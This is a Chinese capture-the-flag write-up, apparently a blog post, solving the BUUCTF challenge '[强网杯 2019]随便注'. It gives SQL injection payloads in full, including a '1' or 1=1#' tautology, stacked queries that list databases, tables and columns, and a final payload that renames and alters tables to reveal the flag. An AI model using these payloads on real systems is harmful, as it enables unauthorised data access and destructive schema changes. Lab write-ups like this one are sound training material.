Buuctf-Web-[强网杯 2019]随便注

前言

刷题网址:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4%BE%BF%E6%B3%A8


首先打开就是SQL注入,我们尝试一下,如下图,发现返回的是原始数据

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6AlAXwZn-1652411712053)(/images/wordimage/2022/0513/injection.png)]

然后我们输入1' or 1=1#发现返回了所有数据,如下图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t5qsDXrP-1652411712054)(/images/wordimage/2022/0513/or11.png)]

这里我们直接来使用联合注入尝试,发现order by 2正常回显,但是order by 3就报错

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6tGZxjnZ-1652411712055)(/images/wordimage/2022/0513/orderby2.png)]

这里我们查询,发现过滤了很多关键字。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CYHGH9ta-1652411712055)(/images/wordimage/2022/0513/union.png)]

这里可以选择尝试堆叠注入,如下图,发现是可以进行堆叠注入的,并且把所有的数据库都爆出来了。

payload: 1';show databases;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MAO1XIGK-1652411712055)(/images/wordimage/2022/0513/databases.png)]

然后这里我们查表,发现有两个表,一个是纯数字表一个是words表,如下图

payload: 1';show tables;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zsPElSvx-1652411712056)(/images/wordimage/2022/0513/twotables.png)]

我们查看数字表,如下图,发现flag在里面,然后反单引号(`)是数据库、表、索引、列和别名用的引用符,但是这里经过测试,如果是纯数字的表就需要加反单引号,如果不是就不需要加或者加上也无所谓。

payload: 1';show columns from `1919810931114514`;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BGAXVh6I-1652411712057)(/images/wordimage/2022/0513/duidie.png)]

然后我们在查看words表,如下图,看起来输入框里面默认查询的就是words表了,因为上面查询数字表的时候只有一列,查询words表的时候有两列,那么如果是这样的话猜测一下查询语句应该是: select id,data from words where id =

payload: 1';show columns from words;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VNxiv6o5-1652411712057)(/images/wordimage/2022/0513/words.png)]

如果是这样,而且还没有过滤renamealter思路就来了,就是把words表改成words1或者其他名字,然后在把数字表名改成words,然后在把新的words里面的flag修改成id,然后在结合上面的1' or 1=1#就可以查出flag了。

payload: 1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

如下图flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pVkOMRuw-1652411712058)(/images/wordimage/2022/0513/flagdui.png)]

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值